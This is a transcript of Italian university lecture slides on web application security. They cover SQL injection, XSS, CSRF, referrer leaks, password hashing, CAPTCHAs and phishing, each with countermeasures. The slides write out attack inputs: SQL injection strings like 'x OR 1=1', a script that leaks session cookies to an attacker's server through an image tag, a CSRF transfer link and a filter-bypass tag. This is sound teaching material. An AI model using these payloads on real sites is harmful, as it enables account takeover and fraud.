Laboratorio di reti II: Problematiche di sicurezza delle reti

Transcript

1 Laboratorio di reti II: Problematiche di sicurezza delle reti Stefano Brocchi 30 maggio, 2008 Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

2 La sicurezza nelle reti Nella programmazione web è necessario tenere sempre presenti problematiche di sicurezza Utenti malevoli possono tentare di attaccare applicazioni web per ottenere vantaggi per se o anche solo per causare danni Esistono numerose problematiche da considerare sia per siti web che per altre applicazioni Nel progettare un applicazione è necessario pensare alle possibili debolezze e a come prevenire i relativi attacchi Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

3 Entità di una minaccia Per determinare l entità di una minaccia, considerare i seguenti fattori: La facilità con cui l attacco può essere messo in pratica L entità del danno che è possibile provocare A seconda del tipo di applicazione, è opportuno realizzare diversi livelli di sicurezza Per esempio è importante che in un applicazione di e-commerce non ci debba essere alcuna debolezza. In un applicazione meno cruciale qualche buco che non può portare a grossi danni e che è difficilmente sfruttabile da un attaccante potrebbe essere un problema perdonabile Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

4 Implementare la sicurezza web Quando si realizza la sicurezza in un sito web, si deve cercare quindi il giusto bilanciamento tra sicurezza, usabilità e tempo impiegato per l implementazione In ogni caso è necessario considerare le varie minacce per poter valutare i rischi che si corrono e le eventuali conseguenze di un attacco Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

5 Proprietà da salvaguardare Alcune caratteristiche di un applicazione web che vanno tutelate da problemi di sicurezza sono le seguenti: Integrità dei dati, sia dell applicazione stessa che quelli contenuti nella macchina dove viene eseguita Riservatezza: i dati privati relativi ad un utente o più in generale informazioni contenute sulla macchina contenente l applicazione devono restare riservati Rispetto delle autorizzazioni: un utente non deve avere la possibilità di eseguire operazioni che non è autorizzato ad eseguire, o di eseguirle a nome di altri Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

6 Sicurezza a più livelli Spesso per garantire la sicurezza si effettuano controlli a più livelli dell applicazione In altre parole, un modulo dell applicazione non accetta automaticamente i dati provenienti da un altro modulo ma effettua un ulteriore controllo Un tipico esempio è quello di eseguire controlli sulla correttezza dei dati sia nel codice lato server che come vincoli del database Questi meccanismi vengono ampiamente sfruttati soprattutto, ma non solo, per le applicazioni dove la sicurezza è un fattore critico Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

7 Sicurezza lato utenti Molte problematiche di sicurezza possono essere risolte se l utente che fa uso del sito o dell applicazione prende determinate precauzioni E tuttavia sbagliato presupporre che tuti gli utenti ne siano a conoscenza: implementando un sito web si deve tutelare la sicurezza anche degli utenti meno esperti Cercare di effettuare più controlli possibile per la sicurezza lato applicazione Un esempio: molte webmail hanno un antivirus incorporato, nonostante molti utenti più esperti effettuerebbero comunque per conto loro un controllo per virus o diffiderebbero da allegati sospetti Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

8 Gestione degli accessi e cookie Nei siti web gli accessi vengono solitamente gestiti tramite chiavi di sessione contenute lato client in un cookie Se un attaccante si appropria quindi di una chiave di sessione in un cookie di un determinato utente, questo può accedere al relativo sito come se fosse l utente vittima Così si possono verificare molteplici problemi di sicurezza, come la visualizzazione di informazioni private, l acquisizione di privilegi e permessi o l effettuazione di operazioni a nome di un altro utente Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

9 Code injection Code injection Una delle problematiche relative a siti web riguarda i casi dove del codice inserito da utente viene inserito in del codice da eseguire Un attaccante può avere la possibilità di iniettare del codice maligno che verrà eseguito Uno dei casi più comuni è quello dell SQL injection Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

10 Code injection SQL injection Consideriamo il caso di un login implementato in PHP L utente inserirà nome utente e password in una form, ed il codice PHP estrarrà i parametri ricevuti (solitamente in POST) Per verificare che il login sia corretto, spesso viene controllato se una query come la seguente ottiene risultati: "SELECT * FROM users WHERE username= $user AND password= $pass "; Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

11 Code injection SQL injection Il problema con un implementazione di questo tipo è che i dati sottomessi da un utente possono venir interpretati ed eseguiti come codice SQL Un attaccante che sospetti che l implementazione del sito sia stata realizzata in questo modo,potrebbe inserire come password per garantirsi l accesso la stringa x or 1=1 La query SQL inviata al database sarebbe in questo caso SELECT * FROM users WHERE username= anyusername AND password= x OR 1=1 ; Che restituisce tutta la tabella users visto che la condizione 1=1 è sempre verificata Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

12 Code injection SQL injection In questo caso, presupponendo sempre che il codice lato server non contenga troppi controlli, solitamente viene ottenuto l accesso con l utente relativo alla prima riga della tabella Con un po di tentativi per indovinare i nomi delle colonne, si può ottenere l accesso con uno specifico utente inserendo come password una stringa del tipo x OR username= admin Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

13 Code injection SQL injection Considerando che è possibile creare query annidate e, in alcuni server, inviare molteplici query al server SQL separate da un ;, tramite SQL injection si può inviare pressochè qualsiasi query al DB Un esempio da non provare: xkcd.com Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

14 Code injection SQL injection: soluzione Soluzione al problema dell SQL injection: validare qualsiasi input da utente che andrà a finire come parte di una query SQL Esistono numerosi metodi in molti linguaggi per imporre che una stringa non possa provocare comportamenti anomali Per esempio, inserendo dei caratteri di escape per ogni carattere speciale che può essere interpretato dal linguaggio (nell esempio, l apice) Altrimenti, si possono accettare come input solo stringhe con caratteri alfanumerici o trattini Per questo spesso in nomi utenti e password non sono permessi caratteri speciali come asterischi o apici Per maggiore sicurezza, è oppurtuno accedere al DB dall applicazione web con un utente con diritti ristretti Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

15 Code injection Code injection: PHP o JSP Un altro esempio di code injection si può verificare quando un sito permette di sottomettere codice HTML che verrà poi visualizzato Per esempio in molti forum viene permesso di inserire nei post codice HTML per permettere una formattazione ed un aspetto del testo configurabile Il problema si pone anche quando all utente viene permesso di eseguire l upload di un file che poi verrà pubblicato in rete In questo caso può essere possibile inserire codice PHP o JSP che poi verrà eseguito dal server quando la pagina contenente il codice viene richiesta Per esempio sarebbe possibile sottomettere <?php function evilfunction() {... } evilfunction();?> Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

16 Code injection Code injection: PHP o JSP Soluzione: come per l SQL injection, validare ogni input da utente Sostituire ad esempio ad ogni simbolo < la sequenza di escape < Può essere inoltre una buona idea eseguire il server web da un utente con permessi limitati, in modo che anche nel caso qualche falla di sicurezza sfugga al controllo il danno provocato sia limitato Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

17 Code injection Code injection: problematiche Per probletatiche di code injection non è sufficiente eseguire validazioni lato client tramite Javascript o Applet Non si ha mai il controllo del lato client: un utente malevolo può manipolare liberamente i parametri in uscita tramite vari programmi Per lo stesso motivo, non è sufficiente limitare le scelte nei form tramite menu a tendina, se poi non ci sono opportuni controlli lato server Una volta che il lato server è ben implementato, controlli lato client sono comunque molto utili in quanto permettono ad un utente di correggere dati non validi senza ricaricare tutta la pagina Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

18 Cross site scripting Problematiche di sicurezza delle reti Code injection Un altra problematica di code injection più sottile è il cross site scripting (XSS) Questa si può verificare quando si può sottomettere codice HTML in un sito che verrà visualizzato da altri utenti Questo succede per esempio nei forum ma anche nelle caselle di posta consultabili via web, in quanto nelle è consentito il codice HTML Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

19 Cross site scripting Cross site scripting L obiettivo del XSS tipicamente è quello di appropriarsi del cookie di accesso di un utente al sito in questione Il codice Javascript eseguito ha accesso ai cookie del sito stesso Al codice JS non viene permesso di collegarsi ad altri siti se non quello di origine, ma il browser può essere indotto ad inviare dati ad un terzo sito tramite determinati tag HTML come IMG Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

20 Cross site scripting Cross site scripting Tramite il tag IMG è necessariamente permesso l accesso a immagini su altri domini Per ottenere i cookie di un utente, avendo a disposizione un dominio è possibile usare un codice simile al seguente: <script type= text/javascript > document.write("<img src= + document.cookie + " >"); </script> Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

21 Cross site scripting Cross site scripting A questo punto il server può salvare il valore del cookie ed inviarlo all attaccante che può accedere al sito bersaglio con le credenziali della vittima Può essere implementato uno script che salvi il parametro in GET prima di restituire l immagine, oppure semplicemente il valore del cookie può essere letto nel log delle richieste del server Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

22 Cross site scripting Cross site scripting: soluzioni Soluzioni per il cross site scripting: Per siti che premettono di inserire HTML, non permettere l inserimento di tag <SCRIPT> Eseguire controlli di validazione accurati. Rimuovere tutte le occorrenze di <SCRIPT> per esempio non è sufficiente: l attaccante potrebbe inserire la stringa <SCR<SCRIPT>IPT> Nelle mail in HTML, non permettere l esecuzione di script oppure negare l accesso a immagini esterne al sito Per una maggiore sicurezza, cambiare periodicamente il valore del cookie utilizzato per l accesso alla sessione Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

23 Cross site request forgery Cross-site request forgery Un altro tipo di attacco simile al XSS è il cross-site request forgery (CSRF, letto Sea-Surf) Questo tipo di attacco punta a far eseguire delle operazioni a cui non si avrebbe accesso ad un utente autorizzato I presupposti necessari sono i seguenti Si ha la possibilità di sottomettere codice HTML ad una vittima tramite mail o siti vulnerabili che lo permettono La vittima possiede un cookie che permette l accesso ad una risorsa al quale l attaccante vuole accedere Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

24 Cross site request forgery Cross-site request forgery Di nuovo, tramite il tag IMG si induce la vittima a mandare richieste HTTP formulate dall attaccante ad un terzo sito Tali richieste rappresentano l azione che l attaccante vuole realizzare tramite le autorizzazioni concesse alla vittima Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

25 Cross site request forgery Cross-site request forgery Un esempio di CSRF. L utente A è loggato al sito per l accesso alle sue operazioni bancarie Il sito contiene un form per i versamenti che alla sottomissione dei dati richiede una pagina del tipo importo=...&destinatario=... L utente B invia ad A una mail con il codice <IMG src= versamento?importo=1000e&destinatario=b > Quando A leggerà la mail, il browser invierà una richiesta HTTP alla pagina web indicata cercando di caricare l immagine Il sito rileverà tramite il cookie che la richiesta arriva da A ed autorizzerà l operazione Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

26 Cross site request forgery Cross-site request forgery: soluzioni Soluzioni contro il CSRF: Come per il XSS, non permettere in forum e webmail la visualizzazione di immagini esterne al sito Impostare la durata dei cookie di accesso ad un tempo limitato Nei form che permettono operazioni importanti, inserire un campo hidden generato a caso ad ogni richiesta; nella pagina sucessiva, autorizzare l operazione solo se sia il cookie sia il parametro nascosto corrispondono Lato utente, eseguire il logout da siti sensibili prima di visitare forum o webmail che si sospetta siano mal implementati Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

27 Problematiche relative all HTTP-referer Problematiche relative al referrer Altre problematiche esistenti sono causate dal campo di intestazione HTTP HTTP-referer Questo campo della richiesta HTTP viene impostato al valore dell URL dal quale è stata fatta la richiesta dalla nuova URL Se in un URL A un utente clicca un link alla URL B, la richiesta HTTP per questo secondo indirizzo conterrà come HTTP-referer l URL A Lo stesso vale per richieste di immagini all interno di una pagina web. Il controllo di questo campo viene a volte utilizzato per impedire l accesso ad una immagine al di fuori del contesto di una determinato sito Questo campo spesso viene utilizzato per sapere da dove arriva il traffico diretto verso il proprio sito Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

28 Problematiche relative all HTTP-referer Problematiche relative al referrer Il campo referrer può causare diversi problemi di filtraggio di informazioni Nel caso l identificativo di sessione di un sito sia propagato tramite GET, questo facendo parte dell URL viene inviato nel campo HTTP-referer ed un sito maligno lo può intercettare e farne uso In alcuni casi si possono generare problemi di privacy, in quanto ad un sito vengono inviate informazioni relative ad una visita ad un altro sito da parte di un utente Sempre nel caso di forum e webmail per esempio, se l URL contiene un identificativo relativo al nome utente grazie ad un immagine esterna si può sapere quali utenti hanno visualizzato la mail (o il post) e quali no Tecnica a volte usata da spammer per capire quali siano le caselle attive Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

29 Problematiche relative all HTTP-referer Problematiche relative al referrer Soluzioni alle problematiche relative al referrer: Se l ID di sessione viene passato tramite GET, cambiarne il valore tra una richiesta e l altra Lato utente, fare attenzione ai link cliccati se l URL contiene informazioni sensibili Ulteriormente, si può evitare di specificare il campo HTTP-referer nelle proprie richieste HTTP tramite apposite impostazioni del browser Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

30 Riservatezza di password Riservatezza delle password nel DB A volte è necessario salvare le password degli utenti in un database ma si vuole impedire che anche persone che hanno accesso al DB (come il personale tecnico) non possano vedere le password Sebbene questa tipologia di persone ha possibilità di maneggiare il database, in certi casi l appropriazione della password può essere una minaccia maggiore Per esempio una modifica del database è rilevabile più facilmente e grazie ai vari log si può solitamente risalire all utente che la ha effettuata. Ottenendo una password invece si può impersonare un altro utente del sistema in modo anonimo Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

31 Riservatezza delle password nel DB Riservatezza di password nei DB: funzioni hash Il problema si risolve tramite l uso di funzioni hash Una funzione hash prende come argomento una stringa e ne restituisce un altra (di solito di lunghezza fissata) che gode delle seguenti proprietà: Data una qualsiasi stringa in uscita dalla funzione, non si conosce alcun modo efficiente per trovare una stringa in entrata corrispondente Le possibilità di comparire delle varie stringhe in uscita sono approssimativamente uguali Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

32 Riservatezza delle password nel DB Riservatezza di password nei DB: funzioni hash Funzioni hash molto note sono MD5 e SHA. Librerie per calcolarle sono fornite per numerosi linguaggi di programmazione Spesso le funzioni hash sono anche utilizzate per verificare l integrità di pacchetti software Per verificare che un pacchetto software distribuito su vari domini estranei al programma non sia stato alterato, viene fornito un codice hash che consente all utente di verificarne l autenticità Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

33 Riservatezza delle password nel DB Riservatezza di password nei DB: soluzione A questo punto, la soluzione al problema è di memorizzare nel database non la password stessa ma il risultato della funzione ad essa applicata Quando un utente richiede un login con una determinata password, si verifica se l hash della password ed il valore nel database corrispondano Con questa tecnica anche vedendo il database non si ha nessuna informazione sulle password usate Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

34 Uso di captcha Problematiche di accesso automatico Un altra problematica di molti siti è di evitare l accesso automatizzato da parte di programmi Si può desiderare per esempio che un numero molto grande di utenti fittizzi vengano registrati automaticamente Può essere inoltre necessario prevenire tentativi di accesso non autorizzati tramite attacchi a forza bruta ad una password da parte di programmi Sebbene tentare tutte le password di una lunghezza abbastanza grande sia proibitivo, questo attacco potrebbe aver successo nei riguardi di password brevi o deboli con l ausilio di un dizionario di password frequenti Una soluzione potrebbe essere di bloccare l account dopo n tentativi, ma questo impedirebbe l accesso anche a chi ne ha diritto Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

35 Uso di captcha CAPTCHA Per risolvere questo problema sono stati creati i CAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart) Questi consistono in caratteri opportunamente distorti e confusi visualizzati in un immagine che gli attuali programmi non sanno riconoscere Un utente verrà quindi identificato come umano solo se riconosce correttamente la scritta del captcha. Per ogni accesso dovrà essere generata chiaramente una diversa immagine Non tutti i CAPTCHA in circolazione sono inattaccabili, in quanto alcuni possono venir effettivamente decifrati da alcune tecniche. Fidarsi del tutto quindi solo di CAPTCHA opportunamente testati Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

36 Uso di captcha Attacco ai CAPTCHA E stata provata una tecnica per l aggiramento dei CAPTCHA basata sull appoggio su di un altro sito web complice basato sul seguente meccanismo Il programma per l accesso automatizzato richiede l operazione proibita e riceve un CAPTCHA da decifrare Il programma invia il CAPTCHA al sito complice, che richiederà ad uno dei suoi utenti di decifrare il CAPTCHA per poter accedere a del contenuto Se l utente inserisce il codice, il programma lo invierà al sito attaccato ottenendo l accesso Questo tipo di attacco comunque non viene considerato grave in quanto il numero di accessi che si riesce ad ottenere non si avvicina all ordine di grandezza degli accessi possibili tramite una procedura del tutto automatizzata Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

37 Segretezza delle comunicazioni Segretezza delle comunicazioni Un altra problematica della programmazione di reti è quella della segretezza delle comunicazioni Tutto quello che viaggia nella rete da una macchina all altra può essere potenzialmente intercettato e letto Per dati sensibili, è necessario un sistema di crittografia che renda l informazione illeggibile da terzi Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

38 Segretezza delle comunicazioni Uso di protocolli criptati Per questo scopo sono stati creati dei protocolli modificati che fanno uso di algoritmi crittografici Per quanto riguarda HTTP, esiste il protocollo HTTPS. Questo fa uso di HTTP e TCP ma interpone tra questi due un protocollo di cifratura delle informazioni Un altro esempio di protocollo sicuro è SFTP per il trasferimento sicuro dei file Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

39 Phishing Phishing Il phishing è un tentativo di ottenere informazioni riservate di un utente facendogli credere di avere a che fare con un sito affidabile Solitamente si ottiene mascherando un URL ad un sito con un altra. Il sito destinazione potrebbe essere una copia del sito originale in modo da indurre l utente ad inserire dati personali (username e password, numero di carta di credito...) Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

40 Phishing Modalità del phishing Esistono diversi modi per mascherare un URL con un altra. Il più semplice è inserire nel contenuto del tag <a> un link diverso da quello puntato. <a href= > Un altro modo è di utilizzare la chiocciola, che in un URL specifica il nome dell utente. Visto che solitamente non è un informazione necessaria, tutto quello che la precede viene solitamente scartato Se l URL è molto lunga, il sito finale potrebbe non esere facilmente visibile <a href= Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

41 Phishing Modalità del phishing Un altro modo per effettuare il fishing è di utilizzare delle pagine in alcuni siti che effettuano automaticamente una redirezione ad un altro sito specificato tra i parametri Tali pagine vengono a volte utilizzate per conteggiare il numero di click effettuati sui vari link esterni, per esempio fare delle statistiche Es. Per nascondere ulteriormente il vero link, questo a volte viene codificato tramite i caratteri di escape dell HTML Ancora: un sottodominio di un sito malvagio può essere confuso con un dominio affidabile da un utente inesperto, come nell URL >...</a> Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

42 Phishing Phishing: soluzioni Soluzioni al phishing: fortunatamente, molti browser implementano meccanismi che riconoscono se l indirizzo di un link è sospetto e lo segnalano all utente Un altra soluzione è di inviare i link cliccati ad un autorità che esegue questa verifica in remoto Da questa soluzione possono nascere problemi di privacy... Mail che contengono tentativi di phishing vengono spesso individuate dai server di posta o da alcuni antivirus e segnalate come pericolose all utente In alcuni casi, è comunque necessaria dell accortezza lato utente Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43

43 Esercizio Esercizio Analizzare le possibili minacce che possono essere messe in atto sul sito del forum Per ognuna di esse, valutare quanto gravi possono essere le conseguenze e con quanta difficoltà la minaccia può essere messa in atto Risolvere i problemi di sicurezza ritenuti più gravi secondo la precedente analisi, facendo in modo che questo pesi meno possibile sulle funzionalità del sito Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, / 43